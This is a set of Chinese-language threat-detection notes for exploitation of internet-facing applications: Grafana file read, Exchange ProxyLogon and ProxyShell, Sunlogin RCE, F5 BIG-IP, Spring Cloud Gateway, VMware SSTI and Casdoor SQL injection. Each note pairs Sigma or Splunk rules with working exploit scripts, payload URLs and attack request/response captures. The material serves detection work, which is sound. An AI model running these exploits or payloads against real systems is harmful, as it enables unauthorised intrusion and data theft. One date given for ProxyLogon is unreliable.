对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告。Grafana 存在未授权任意文件读取漏洞,攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件。
影响范围:Grafana 8.0.0-beta1 to 8.3.0
FOFa查询语句:app="Grafana"
## 检测日志
HTTP.log
## 测试复现
漏洞利用方式建议参考:Grafana未授权任意文件读取漏洞

具体POC可参考:
```
python
# coding:utf-8
# Author:绯夜 By T00ls.Net
import requests,urllib3
import urllib.request
import ssl
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
urls = open('url.txt')
headers = {
'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36"
}
for i in urls:
    url = i.rstrip("\n")
    list = ['/public/plugins/alertGroups/../../../../../../../../etc/passwd',
'/public/plugins/alertlist/../../../../../../../../etc/passwd',
'/public/plugins/alertmanager/../../../../../../../../etc/passwd',
'/public/plugins/annolist/../../../../../../../../etc/passwd',
'/public/plugins/barchart/../../../../../../../../etc/passwd',
'/public/plugins/bargauge/../../../../../../../../etc/passwd',
'/public/plugins/canvas/../../../../../../../../etc/passwd',
'/public/plugins/cloudwatch/../../../../../../../../etc/passwd',
'/public/plugins/dashboard/../../../../../../../../etc/passwd',
'/public/plugins/dashlist/../../../../../../../../etc/passwd',
'/public/plugins/debug/../../../../../../../../etc/passwd',
'/public/plugins/elasticsearch/../../../../../../../../etc/passwd',
'/public/plugins/gauge/../../../../../../../../etc/passwd',
'/public/plugins/geomap/../../../../../../../../etc/passwd',
'/public/plugins/gettingstarted/../../../../../../../../etc/passwd',
'/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd',
'/public/plugins/grafana/../../../../../../../../etc/passwd',
'/public/plugins/graph/../../../../../../../../etc/passwd',
'/public/plugins/graphite/../../../../../../../../etc/passwd',
'/public/plugins/heatmap/../../../../../../../../etc/passwd',
'/public/plugins/histogram/../../../../../../../../etc/passwd',
'/public/plugins/influxdb/../../../../../../../../etc/passwd',
'/public/plugins/jaeger/../../../../../../../../etc/passwd',
'/public/plugins/live/../../../../../../../../etc/passwd',
'/public/plugins/logs/../../../../../../../../etc/passwd',
'/public/plugins/loki/../../../../../../../../etc/passwd',
'/public/plugins/mixed/../../../../../../../../etc/passwd',
'/public/plugins/mssql/../../../../../../../../etc/passwd',
'/public/plugins/mysql/../../../../../../../../etc/passwd',
'/public/plugins/news/../../../../../../../../etc/passwd',
'/public/plugins/nodeGraph/../../../../../../../../etc/passwd',
'/public/plugins/opentsdb/../../../../../../../../etc/passwd',
'/public/plugins/piechart/../../../../../../../../etc/passwd',
'/public/plugins/pluginlist/../../../../../../../../etc/passwd',
'/public/plugins/postgres/../../../../../../../../etc/passwd',
'/public/plugins/prometheus/../../../../../../../../etc/passwd',
'/public/plugins/stat/../../../../../../../../etc/passwd',
'/public/plugins/state-timeline/../../../../../../../../etc/passwd',
'/public/plugins/status-history/../../../../../../../../etc/passwd',
'/public/plugins/table-old/../../../../../../../../etc/passwd',
'/public/plugins/table/../../../../../../../../etc/passwd',
'/public/plugins/tempo/../../../../../../../../etc/passwd',
'/public/plugins/testdata/../../../../../../../../etc/passwd',
'/public/plugins/text/../../../../../../../../etc/passwd',
'/public/plugins/timeseries/../../../../../../../../etc/passwd',
'/public/plugins/welcome/../../../../../../../../etc/passwd',
'/public/plugins/xychart/../../../../../../../../etc/passwd',
'/public/plugins/zipkin/../../../../../../../../etc/passwd',]
    for i in list:
        urls = url +i
        try:
            try:
                request = urllib.request.urlopen(urls,timeout=8)
                content = request.read().decode('utf-8')
            except:
                request = urllib.request.urlopen(urls, context=ssl._create_unverified_context(),timeout=8)
                content = request.read().decode('utf-8')
            if 'root:x:0:0:root' in content:
                print("[+] Sussess  "+urls)
                result = urls+"==>Success"
                with open("Success.txt", "a+") as a:
                    a.write(result + '\n')
                break
        except:
            print("[*] Failed")
```
## 测试留痕
暂未进行实际有效的测试,故引用他人测试数据信息。

## 检测规则/思路
### Sigma规则
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
```
yml
title: CVE-2021-43798 Grafana 任意文件读取漏洞
status: experimental
description: Grafana 存在未授权任意文件读取漏洞,攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件。
references:
    - https://saucer-man.com/information_security/856.html
author: 12306Br0
date: 2021/12/09
tags:
    - attack.initial_access
    - attack.t1190
logsource:
    category: webserver
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains|all:
            - '/../../../../../../../../'
            - '/public/plugins'
    condition: selection
fields:
    - c-ip
    - c-dns
falsepositives:
    - Unknown
level: critical
```
### 建议
观察请求包与响应报内容。如请求路径中包含/etc/passwd,代表攻击者尝试读取/etc/passwd下密码信息,如响应状态码为200,且响应包中包含root:x:0:0:root,意味着攻击成功;如请求路径中包含/var/lib/grafana/grafana.db,代表攻击者尝试读取数据库文件,如果响应状态码为200,且响应包z中包含SQLite format,很意味着攻击成功。
## 参考推荐
MITRE-ATT&CK-T1190

Grafana 未授权任意文件读取漏洞

CVE-2021-43798 Grafana 任意文件读取漏洞分析

朴实无华的Grafana未授权任意文件读取漏洞批量验证脚本



================================================
FILE: Web/2021/T1190-Exchange-ProxyLogon利用行为检测.md
================================================
# T1190-Exchange-ProxyLogon利用行为检测------------------------------------------------------------------------------------------------------------------------------------------------------
## 来自ATT&CK的描述------------------------------------------------------------------------------------------------------------------------------------------------------
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。------------------------------------------------------------------------------------------------------------------------------------------------------
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。------------------------------------------------------------------------------------------------------------------------------------------------------
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。------------------------------------------------------------------------------------------------------------------------------------------------------
## ProxyLogon------------------------------------------------------------------------------------------------------------------------------------------------------
在2023年3月份,微软公布了多个Microsoft Exchange的高危漏洞,通过组合利用这些漏洞可以在未经身份验证的情况下远程获取服务器权限。这套组合拳被称为ProxyLogon。安全研究员Orange Tsai于2020年底发现该系列漏洞并命名。------------------------------------------------------------------------------------------------------------------------------------------------------
CVE-2021-26855是一个SSRF漏洞,利用该漏洞可以绕过Exchange的身份验证,CVE-2021-27065是一个文件写入漏洞。二者结合可以在未登录的状态下写入webshell。------------------------------------------------------------------------------------------------------------------------------------------------------
想要成功的利用该漏洞,整个攻击链接可能经过以下步骤:------------------------------------------------------------------------------------------------------------------------------------------------------
* 通过SSRF漏洞攻击,访问autodiscover.xml泄露LegacyDN信息。
* 在通过LegacyDN,获取SID。
* 然后通过合法的SID,获取exchange的有效cookie。
* 最后通过有效的cookie,对OABVirtualDirectory对象进行恶意操作,写入一句话木马,达到控制目标的效果。------------------------------------------------------------------------------------------------------------------------------------------------------
## 测试案例------------------------------------------------------------------------------------------------------------------------------------------------------
参考Freebuf文章:MS Exchange攻击日志分析三------------------------------------------------------------------------------------------------------------------------------------------------------
## 检测日志------------------------------------------------------------------------------------------------------------------------------------------------------
MSExchange CmdletLogs------------------------------------------------------------------------------------------------------------------------------------------------------
## 测试留痕------------------------------------------------------------------------------------------------------------------------------------------------------
暂无------------------------------------------------------------------------------------------------------------------------------------------------------
## 检测规则/思路------------------------------------------------------------------------------------------------------------------------------------------------------
### sigma规则------------------------------------------------------------------------------------------------------------------------------------------------------
```
title: MSExchange CmdletLogs monitors ProxyLogon webshell writing behavior
description: windows server 2016
author: DHZN
logsource:
    product: windows
    service: MSExchange CmdletLogs
detection:
    selection:
        EventID: 1
        Message|contains|all:
              - 'Set-'
              - 'VirtualDirectory'
              - '-ExternalUrl'
              - 'script'
    condition: selection
level: medium------------------------------------------------------------------------------------------------------------------------------------------------------
```
- -----------------------------------------------------------------------------------------------------------------------------------------------------
### 建议------------------------------------------------------------------------------------------------------------------------------------------------------
暂无------------------------------------------------------------------------------------------------------------------------------------------------------
## 参考推荐------------------------------------------------------------------------------------------------------------------------------------------------------
[ProxyLogon漏洞分析](https://hosch3n.github.io/2021/08/22/ProxyLogon%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)------------------------------------------------------------------------------------------------------------------------------------------------------
[Exchange漏洞分析(一):SSRF RCE(CVE-2021-26855、CVE-2021-27065)](https://www.anquanke.com/post/id/259902)------------------------------------------------------------------------------------------------------------------------------------------------------
[复现Microsoft Exchange Proxylogon漏洞利用链](https://xz.aliyun.com/t/9305#toc-8)------------------------------------------------------------------------------------------------------------------------------------------------------
[Falcon Complete Stops Microsoft Exchange Server Zero-Day Exploits](https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits/)------------------------------------------------------------------------------------------------------------------------------------------------------
[HAFNIUM targeting Exchange Servers with 0-day exploits](https://www.microsoft.com/en-us/security/blog/2021/03/02/hafnium-targeting-exchange-servers/)------------------------------------------------------------------------------------------------------------------------------------------------------


================================================
FILE: Web/2021/T1190-Exchange-ProxyShell利用行为检测.md
================================================
# T1190-Exchange-ProxyShell利用行为检测
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## ProxyShell
ProxyShell攻击链是2021年8月由安全研究员Kevin Beaumont发现的一系列Microsoft Exchange服务器漏洞。这些漏洞影响了Exchange Server 2016、Exchange Server 2019、Exchange Server 2021和Exchange Online。
ProxyShell攻击链由三个CVE漏洞组成:
- CVE-2021-34473:未经身份验证的用户可以通过修改请求头来访问Exchange服务器中的PowerShell端点。
- CVE-2021-34523:攻击者可以通过修改请求头来绕过Exchange服务器的身份验证。
- CVE-2021-31207:攻击者可以通过修改请求头来执行任意PowerShell脚本。
## 测试案例
参考Freebuf文章:MS Exchange攻击日志分析三
## 检测日志
MSExchange CmdletLogs
## 测试留痕
暂无
## 检测规则/思路
### sigma规则
```
title: Use MSExchange CmdletLogs or Powershell logs to monitor ProxShell vulnerability exploitation behavior
description: windows server 2016
author: DHZN
logsource:
    product: windows
    service: MSExchange CmdletLogs/PoweShell
detection:
    selection1:
        EventID: 1
        Message|contains|all:
              - 'New-MailboxExportRequest'
              - 'FilePath'
    selection2:
        EventID: 4104
        Message|contains|all: 'Get-MailboxExportRequest'
    condition: selection
level: medium
```
### 建议
暂无
## 参考推荐
[pst-want-shell-proxyshell-exploiting-microsoft-exchange-servers](https://www.mandiant.com/resources/blog/pst-want-shell-proxyshell-exploiting-microsoft-exchange-servers)
[ProxyShell漏洞复现](https://ad-calcium.github.io/2021/08/exchange-proxyshell%E5%A4%8D%E7%8E%B0/)


================================================
FILE: Web/2022/T1190-CNVD-2022-03672-向日葵RCE漏洞.md
================================================
# T1190-CNVD-2022-03672-向日葵RCE漏洞检测
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
上海贝锐信息科技股份有限公司的向日葵远控软件存在远程代码执行漏洞(CNVD-2022-10270/CNVD-2022-03672),影响Windows系统使用的个人版和简约版,攻击者可利用该漏洞获取服务器控制权。

影响版本
```
yml
向日葵个人版   for Windows <= 11.0.0.33
向日葵简约版   <= V1.0.1.43315(2021.12
```

## 检测日志
HTTP
## 测试复现
网络上公开工具较多,可自行下载进行本地测试,请勿进行非法测试。

攻击机:kali,10.211.55.35
靶机:win10,10.211.55.31

```
bash
┌──(root㉿361)-[/home/liyang]
└─# ./sunrce -h 10.211.55.31 -p 40000-60000 -m 1000
[+] start to scan open port......
10.211.55.31:50340      open |Success discovery the sunrce vulnerability
10.211.55.31:49666      open |NULL
10.211.55.31:49669      open |NULL
10.211.55.31:49665      open |NULL
10.211.55.31:49668      open |NULL
10.211.55.31:49664      open |NULL
10.211.55.31:49667      open |NULL
10.211.55.31:49670      open |NULL
SunRce vulnerability scan over
# 探测向日葵使用的端口                                  
```

```
bash
──(root㉿361)-[/home/liyang]
└─# ./sunrce -h 10.211.55.31 -ps 50340 -shell
Cmd:whoami
nt authority\system
Cmd:net user
\\ 的用户帐户

Administrator            DefaultAccount           Guest
liyang                   WDAGUtilityAccount
命令运行完毕,但发生一个或多个错误。
Cmd:exit
```

## 漏洞分析/日志留痕
### 未授权认证
当SunloginCLient.exe在Windows上执行时,会连接远程Oray的服务器,同时也会打开一个大于40000的端口监听外部的连接访问(具体是否从40000往上随即开启端口,这个没有调试,网上是这么说的,我们主要看的是发生利用的代码部分)。
对其中一部分接口,Sunlogin统一对其进行处理。
接着会执行至函数sub_140E21528,分别对不同接口进行不同的处理。在接口/cgi-bin/rpc的Handler处理函数中可以进行未授权认证。
获取action参数值,如果值为verify-haras,即action=verify-haras,那么可以在没有识别码和验证码的情况下认证成功。
成功后返回一个verify_string,作为之后再次访问时Cookie字段中使用的CID值。
```
bash
GET /cgi-bin/rpc?action=verify-haras HTTP/1.1
Host: 10.211.55.31:50340
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 87
{"__code":0,"enabled":"1","verify_string":"6onb943qKJoXQGAmr1BKArugFlO9949g","code":0} 
```
- -----------------
### RCE
漏洞发生在接口/check处,当参数cmd的值以ping或者nslookup开头时可以构造命令实现远程命令执行利用。
发送请求时需要在请求头中指定Cookie字段中CID的值为之前/cgi-bin/rpc返回的verify_string值。下面是通过ping拼接的利用请求。
```
bash
GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+whoami HTTP/1.1
Host: 10.211.55.31:50340
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: CID=6onb943qKJoXQGAmr1BKArugFlO9949g
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/json
Content-Length: 21
nt authority\system
GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+net+user HTTP/1.1
Host: 10.211.55.31:50340
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: CID=6onb943qKJoXQGAmr1BKArugFlO9949g
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/json
Content-Length: 269-
\\ ..........

Administrator            DefaultAccount           Guest
liyang                   WDAGUtilityAccount
```

## 监测规则
特征1:
请求数据:GET /cgi-bin/rpc?action=verify-haras,返回数据:verify_string;
特征2:
请求数据:GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe
请求数据:GET /check?cmd=ping%20127.0.0.1%20|%20cmd%20/c%20echo%20whoami%00
请求数据:GET /check?cmd=ping../../../SysWOW64/cmd.exe+/c+net+user
主要是针对常见的拼接路径进行监测,返回数据也存在一些特征,可以根据实际情况进行设置高精准匹配。
### 建议
可根据具体常见的路径进行监测。安全设备+运营人员经验,能够达到更好的效果。
## 参考推荐
MITRE-ATT&CK-T1190

Sunlogin RCE漏洞分析和使用

向日葵远程命令执行程序分析



================================================
FILE: Web/2022/T1190-CVE-2022-1388-F5BIG-IP未授权RCE.md
================================================
# T1190-CVE-2022-1388-F5BIG-IP未授权RCE
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
在F5 BIG-IP 16.1.x 16.1.2.2之前的版本、15.1.5.1之前的15.1.x版本、14.1.4.6之前的14.1.x版本、13.1.5之前的13.1.x版本以及所有12.1.x和11.6.x版本,未公开的请求可能会绕过iControl REST身份验证。注意:未评估已达到技术支持终止(EoTS)的软件版本。
此漏洞可能允许未经身份验证的攻击者通过管理端口和/或自身IP地址对BIG-IP系统进行网络访问,以执行任意系统命令、创建或删除文件或禁用服务。没有数据平面暴露;这只是一个控制平面问题。
## 检测日志
HTTP.log
## 测试复现
[POC地址](https://github.com/horizon3ai/CVE-2022-1388)
具体POC可参考:
```
python
# !/usr/bin/python3
import argparse
import requests
import urllib3
urllib3.disable_warnings()
def exploit(target, command):
    url = f'https://{target}/mgmt/tm/util/bash'
    headers = {
        'Host': '127.0.0.1',
        'Authorization': 'Basic YWRtaW46aG9yaXpvbjM=',
        'X-F5-Auth-Token': 'asdf',
        'Connection': 'X-F5-Auth-Token',
        'Content-Type': 'application/json'

    }
    j = {"command":"run","utilCmdArgs":"-c '{0}'".format(command)}
    r = requests.post(url, headers=headers, json=j, verify=False)
    r.raise_for_status()
    if ( r.status_code != 204 and r.headers["content-type"].strip().startswith("application/json")):
        print(r.json()['commandResult'].strip())
    else:
        print("Response is empty! Target does not seems to be vulnerable..")
if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-c', '--command', help='The command to execute')
    args = parser.parse_args()
    exploit(args.target, args.command)
```
## 测试留痕
无
## 检测规则/思路
### Sigma规则
```
yml
title: F5-BIG-IP-RCE(CVE-2022-1388)
status: experimental
description: F5 recently patched a critical vulnerability in their BIG-IP iControl REST endpoint CVE-2022-1388. This vulnerability is particularly worrisome for users because it is simple to exploit and provides an attacker with a method to execute arbitrary system commands.
references:
    - https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
    - https://www.randori.com/blog/vulnerability-analysis-cve-2022-1388/
author: 12306Br0
date: 2022/05/15
tags:
    - attack.t1190
logsource:
    category: webserver
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains|all:
            - '/mgmt/tm/util/bash'
        cs-Connection: '*X-F5-Auth-Token*'
        cs-X-F5-Auth-Token: '*'
        cs-Authorization: '*'
    condition: selection
falsepositives:
    - Unknown
level: critical
tags:
    - attack.t1190
    - cve.2022.1388
```
### 建议
似乎并没有什么好的建议,规则未经过仿真环境测试,请谨慎使用。
## 参考推荐
MITRE-ATT&CK-T1190

CVE-2022-1388

F5 BIG-IP未授权RCE(CVE-2022-1388)分析



================================================
FILE: Web/2022/T1190-CVE-2022-22947-Spring Cloud Gateway远程代码执行漏洞.md
================================================
# T1190-CVE-2022-22947-Spring Cloud Gateway远程代码执行漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
### 简介
2022年3月1日,VMware官方发布漏洞报告,在使用Spring Colud Gateway的应用程序开启、暴露Gateway Actuator端点时,会容易造成代码注入攻击,攻击者可以制造恶意请求,在远程主机进行任意远程执行。
### 受影响版本
```
yml
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
旧的、不受支持的版本也会受到影响
```
### EXP/POC
请勿用做非法用途,仅用于检测测试。
已公开Poc:
```
yml
https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947
```
## 检测日志
HTTP.log
## 测试复现
```
bash
sudo python3 spring_cloud_RCE.py  http://123.*.*.*:*
usage: python3 test.py url
{"predicate":"RouteDefinitionRouteLocator$$Lambda$1054/1342702643","route_id":"hacktest","filters":["[[AddResponseHeader Result = 'uid=0(root) gid=0(root) groups=0(root)\n'], order = 1]"],"uri":"http://example.com:80","order":0}
```
## 测试留痕
[流量包下载地址](https://github.com/Network-security-data-sharing/Attack-traffic-PACPs/tree/main/2022/CVE-2022-22947 Spring Cloud ""Gateway远程代码执行.pcapng"")
## 参考推荐
MITRE-ATT&CK-T1190

Spring-Cloud-Gateway-CVE-2022-22947

CVE-2022-22947远程代码执行漏洞复现分析



================================================
FILE: Web/2022/T1190-CVE-2022-22954-VMware Workspace ONE Access SSTI远程代码执行.md
================================================
# T1190-CVE-2022-22954-VMware Workspace ONE Access SSTI远程代码执行
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
### 简介
VMware Workspace ONE Access and Identity Manager包含一个由于服务器端模板注入而导致的远程代码执行漏洞。VMware已将此问题的严重性评估为处于严重严重性范围内 ,CVSSv3基本得分最高为9.8。
具有网络访问权限的恶意行为者可以触发可能导致远程代码执行的服务器端模板注入。
### 受影响版本
```
yml
VMware Workspace ONE Access Appliance (版本号:20.10.0.0 ,20.10.0.1 ,21.08.0.0 ,21.08.0.1 )
VMware Identity Manager Appliance (版本号:3.3.3 , 3.3.4 , 3.3.5 ,3.3.6)
VMware Realize Automation (版本号:7.6)
```
### EXP/POC
请勿用做非法用途,仅用于检测测试。
fofa语法:
```
yml
icon_hash="-1250474341"
app="vmware-Workspace-ONE-Access" || app="vmware-Identity-Manager"
```
```
yml
/catalog-portal/ui?code=&deviceUdid=&deviceType=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D
/catalog-portal/hub-ui?deviceType=&deviceUdid=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D
/catalog-portal/hub-ui/byob?deviceType=&deviceUdid=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D
/catalog-portal/ui/oauth/verify?error=&deviceType=&deviceUdid=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D
/catalog-portal/ui/oauth/verify?code=&deviceType=&deviceUdid=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D
```
URL decode
```
yml
/catalog-portal/ui?code=&deviceUdid=&deviceType=${"freemarker.template.utility.Execute"?new()("id")}
/catalog-portal/hub-ui?deviceType=&deviceUdid=${"freemarker.template.utility.Execute"?new()("id")}
/catalog-portal/hub-ui/byob?deviceType=&deviceUdid=${"freemarker.template.utility.Execute"?new()("id")}
/catalog-portal/ui/oauth/verify?error=&deviceType=&deviceUdid=${"freemarker.template.utility.Execute"?new()("id")}
/catalog-portal/ui/oauth/verify?code=&deviceType=&deviceUdid=${"freemarker.template.utility.Execute"?new()("id")}
```
[批量脚本传送门](https://github.com/bewhale/CVE-2022-22954)
## 检测日志
HTTP.log
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
[Splunk公开规则](https://github.com/splunk/security_content/blob/develop/detections/web/vmware_server_side_template_injection_hunt.yml)
```
sql
| tstats count from datamodel=Web where Web.http_method IN ("GET")
  Web.url="*deviceudid=*" AND Web.url IN ("*java.lang.ProcessBuilder*","*freemarker.template.utility.ObjectConstructor*")
  by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype
  | `drop_dm_object_name("Web")`
  | `security_content_ctime(firstTime)`
  | `security_content_ctime(lastTime)`
  | `vmware_server_side_template_injection_hunt_filter
```
结合状态码及返回内容包进行分析研判。以下可作为参考:
```
yml
返回状态为200,且包涵Authorization context is not valid
```
## 参考推荐
MITRE-ATT&CK-T1190

vmware_server_side_template_injection_hunt

利用脚本

CVE-2022-22954 VMware Workspace ONE Access SSTI RCE

zeek-CVE-2022-22954



================================================
FILE: Web/2022/T1190-CVE-2022-24124-Casdoor SQL注入漏洞.md
================================================
# T1190-CVE-2022-24124-Casdoor SQL注入漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
### 简介
Casdoor是一个基于OAuth 2.0/OIDC的中心化的单点登录(SSO)身份验证平台,简单来说,就是Casdoor可以帮你解决用户管理的难题,你无需开发用户登录、注册等与用户鉴权相关的一系列功能,只需几个步骤进行简单配置,与你的主应用配合,便可完全托管你的用户模块,简单省心,功能强大。Casdoor目前作为Casbin社区项目统一使用的鉴权平台,并且项目已开源。
此漏洞属于Sql注入漏洞,在查询API存在与字段和值参数相关的SQL注入漏洞。
### 受影响版本
```
yml
Casdoor < Casdoor 1.13.1 //1.13.1版本之前均受影响
```
- -------------------------------------
### EXP/POC
请勿用做非法用途,仅用于检测测试。
```
yml
/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),3)
```

已公开Poc:
```
yml
https://github.com/cukw/CVE-2022-24124_POC
```

## 检测日志
HTTP.log
## 测试复现
参考测试留痕部分
## 测试留痕
```
yml
GET /api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),3) HTTP/1.1
Host: 123.58.224.8:57939
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://123.58.224.8:57939/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),3)
Cookie: casdoor_session_id=54fbcdd93bdb8ce82c6dd4a02831a7c9
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Origin
Access-Control-Allow-Methods: GET,PUT,PATCH
Access-Control-Allow-Origin:
Access-Control-Expose-Headers: Content-Length
Server: beegoServer:1.12.3
Date: Sun, 25 Sep 2022 14:32:58 GMT
Content-Length: 1946
Content-Type: text/html; charset=utf-8



    
    beego application error
    
    


    
    
Request Method: GET
Request URL: /api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),3)
RemoteAddr: 10.0.0.2
Stack
